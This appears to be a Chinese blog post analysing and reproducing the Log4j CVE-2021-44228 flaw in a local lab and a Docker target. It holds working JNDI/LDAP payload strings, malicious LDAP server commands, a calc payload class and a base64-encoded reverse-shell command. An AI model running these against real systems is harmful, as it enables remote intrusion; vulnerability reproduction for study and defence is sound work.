1. 程式人生 > 其它 >CVE 2021-44228 Log4j-2命令執行復現及分析

CVE 2021-44228 Log4j-2命令執行復現及分析

12月11日:Apache Log4j2官方釋出了2.15.0 版本,以修復CVE-2021-44228。雖然 2.15.0 版本解決了Message Lookups功能和JNDI 訪問方式的問題,但 Log4j團隊認為預設啟用 JNDI 存在安全風險,且2.15.0版本存在CVE-2021-45046漏洞。

12月13日:Apache Log4j2官方釋出了Log4j 2.16.0版本(Java 8或更高版本),該版本刪除了Message Lookups功能並預設禁用JNDI功能,並從該版本開始預設禁用JNDI功能,但可以通過將log4j2.enableJndi設定為 true 以啟用 JNDI。此外,Log4j現在將協議預設限制為僅java、ldap和ldaps,並將ldap協議限制為只能訪問Java原始物件。本地主機以外的主機需要被明確允許。

12月15日:Apache Log4j2官方釋出了Apache Log4j 2.12.2版本,該版本修復了CVE-2021-44228和CVE-2021-45046,適用於仍在使用Java 7的使用者。

漏洞描述

Apache Log4j2是一個基於Java的日誌記錄框架。正常情況下,開發者可能會將錯誤資訊寫入日誌中,可以利用此特點構造特殊的資料請求包,最終觸發遠端程式碼執行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。

受影響版本

Apache Log4j 2.0-beta9 - 2.12.1 、Apache Log4j 2.13.0 - 2.15.0-rc1

Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.

注意:2.15.0-rc1 rc1被繞過是說漏洞點確實可以被繞過,但是rc1已經默認了log4j2.formatMsgNoLookups為true 只要不是手賤那也沒啥問題

原理分析

該漏洞主要是由於日誌在列印時當遇到“${”後,以“:”號作為分割,將表示式內容分割成兩部分,前面一部分prefix,後面部分作為key,然後通過prefix去找對應的lookup,通過對應的lookup例項呼叫lookup方法,最後將key作為引數帶入執行,引發遠端程式碼執行漏洞。

漏洞點

LogManager.getLogger().error()
LogManager.getLogger().fatal()

如圖如下協議方式都可以利用

com.sun.jndi.rmi.object.trustURLCodebase  設為true 可以在高版本jdk觸發漏洞。
logger.info("${jndi:ldap://0c22zc.dnslog.cn}"); error級別的更容易觸發,如果不列印info級別資訊,則info級別不能觸發漏洞。所以優先用error觸發。

影響應用

可能的受影響應用包括但不限於如下:

Spring-Boot-strater-log4j2

Apache Struts2

Apache Solr	左邊第三個選項,rename

Apache Flink

Apache Druid 一個最上面的框,一個左邊第三個選項中新增的框

ElasticSearch

flume

dubbo

Redis

logstash

kafka

漏洞復現

Idea搭建

新建maven工程,pom.xml中引入log4j2依賴:

<dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>

Payload.java 注意區分大小寫

import java.io.IOException;

public class Payload {
    public Payload() {
        //直接在構造方法中執行計算器
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

該exp用於彈出計算器,驗證命令執行效果。

test.java

import  org.apache.logging.log4j.LogManager;
import  org.apache.logging.log4j.Logger;


public class test {
    public static final Logger logger = LogManager.getLogger(test.class);
    public static void main(String[] args){
        logger.error("${jndi:ldap://192.168.50.213:9998/Payload}");注意區分大小寫
    }

}

手動將exp.java生成位元組碼檔案,並通過python搭建簡易web用於外部訪問:

再開一個惡意的ldap服務:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.213:9999/#Payload" 9998  
注意區分大小寫

執行test.java,可以看到ldap服務和web服務都有訪問記錄:

並且有計算器彈出來,命令執行成功:

併產生了一條錯誤日誌

docker復現
docker pull registry.cn-angzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8888:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash/home/apache-tomcat-8.5.45/bin/startup.sh

執行完以上操作,可以訪問存在Apache Log4j遠端程式碼執行漏洞,這裡192.168.32.168的ip地址是我安裝了docker虛擬機器的ip地址,url如下:

http://192.168.32.168:8888/webstudy/hello-fengxuan

由於該漏洞是jndi載入ldap協議就可以觸發漏洞,使用
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar進行ldap協議監聽,並提前輸入好需要執行的命令,命令如下:

java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch/tmp/88888888888" -A 192.168.32.1
-C後面新增的是需要執行的命令
-A後面是監聽的IP地址

只要根據JDK的版本,提交不同的ldap
如果JDK 是1.7,可以使用

ldap://192.168.32.1:1389/sjrchi 這個連結是根據自己上面起的ldap服務生成的連結

如果JDK 是1.8,可以使用

ldap://192.168.32.1:1389/fojm7q 這個連結是根據自己上面起的ldap服務生成的連結

通過BurpSuite提交資料包,由於url只接受需POST資料,受影響的引數是c,在驗證的時候,一定要加入

Content-Type:application/x-www-form-urlencoded;

已經接收到ldap協議資料

如果Apache Log4j遠端程式碼執行漏洞成功,就會執行命令touch /tmp/88888888888,在tmp目錄下建一個88888888888檔案

進入docker環境漏洞靶場,檢視命令是否執行成功,檔案成功被建立

docker exec -it log4j_vuln_container /bin/bash
ls /tmp

通過修改-C裡面的命令內容,獲取shell

對bash -i >& /dev/tcp/192.168.32.1/220>&1命令進行加密處理

java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEvMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"-A 192.168.32.1

成功獲取shell。